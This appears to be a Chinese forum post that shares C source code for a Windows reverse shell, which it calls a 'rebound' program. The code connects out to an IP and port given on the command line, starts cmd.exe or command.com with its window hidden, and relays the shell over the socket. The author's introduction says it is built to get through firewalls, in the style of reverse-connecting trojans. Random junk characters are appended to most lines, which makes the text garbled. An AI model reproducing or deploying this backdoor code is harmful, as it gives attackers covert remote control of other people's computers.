这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b'q ru~i
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/* ============================== {g9*t}l4
Rebound port in Windows NT 9*~bAgkWI
By wind,2006/7 Y"H'BT!b}
===============================*/ ^^,cnDlm
#include u00w'=pe)
#include 5 EhOvt8
s>J\h
#pragma comment(lib,"wsock32.lib") 6-E>-9]'E
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void OutputShell(); TOT#l6yqdd
SOCKET sClient; M(
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nA*Udrcn
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void main(int argc,char **argv) '+EtnWHs
{ (aC~0
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WSADATA stWsaData; `D/<*e,#
int nRet; W&~\@j]!D
SOCKADDR_IN stSaiClient,stSaiServer; H!'Ek[s+
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if(argc != 3) :;
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{ 4Jn+Ot.,d
printf("Useage:\n\rRebound DestIP DestPort\n"); YCl&}/.pA
return; E)3Ah!
} ZLDO&}
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2#
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $^:s)Yv
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stSaiClient.sin_family = AF_INET; W Og pDs
stSaiClient.sin_port = htons(0); bv^wE,+?o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f9K+o-P.h
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CdZ. T/x
{ 6Y`rQ/F
printf("Bind Socket Failed!\n"); ]l7 r M"
return; ~nJ"#Q_T
} NufRd/q
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stSaiServer.sin_family = AF_INET; aT4I sPA?_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uG7?:) pxv
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _u3%16,o
{ bvW3[ V
printf("Connect Error!"); Mfn^v:Q#
return; T)MX]T
} Tw,|ZA4XH
OutputShell(); 6E@TcN~,!
} A$g'/QM
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void OutputShell() S
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{ `+h+X9
char szBuff[1024]; mxnu\@}(
SECURITY_ATTRIBUTES stSecurityAttributes; dQn,0
OSVERSIONINFO stOsversionInfo; r>#4Sr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; frokl5L@
STARTUPINFO stStartupInfo; IG.!M@_
char *szShell; HTLS$o;Q
PROCESS_INFORMATION stProcessInformation; .[r1Qz7G
unsigned long lBytesRead; 1l5'N=hL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l(Ya,/4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8e5imei
stSecurityAttributes.lpSecurityDescriptor = 0; W(}2R>$
stSecurityAttributes.bInheritHandle = TRUE; b*(,W
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .sjv"D"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @;G%7&ps
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q`VkA
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j[,XJ,5=
stStartupInfo.wShowWindow = SW_HIDE; I5*<J n
stStartupInfo.hStdInput = hReadPipe; 2KlVj]!7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @Q7^caG
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GetVersionEx(&stOsversionInfo); \JC_"gqt
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switch(stOsversionInfo.dwPlatformId) =Fc}T%
{ J%]5C}v \
case 1: -_xTs(;|8
szShell = "command.com"; JXV#V7
break; ev#/v:$?
default:
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szShell = "cmd.exe"; nA(5p?D+YB
break; Y <`X$
} ~g9~D}48k'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d/3bE*gr
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send(sClient,szMsg,77,0); yIf^vx_G
while(1) i[4!% FxB
{ bk0<i*ju7(
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r $[{sW
if(lBytesRead) iGSF5S
{ Es- =0gpK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?E,-P!&R
send(sClient,szBuff,lBytesRead,0); Scug
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} 3&I3ViAH
else r0wAh/J|
{ d;,Jf*x\
lBytesRead=recv(sClient,szBuff,1024,0); _%3p&1ld
if(lBytesRead<=0) break; XqU0AbQ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *kTj,&x[
} g*Pn_Yo[.
} EL%P v1
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return; 6B]i}nFH{+
}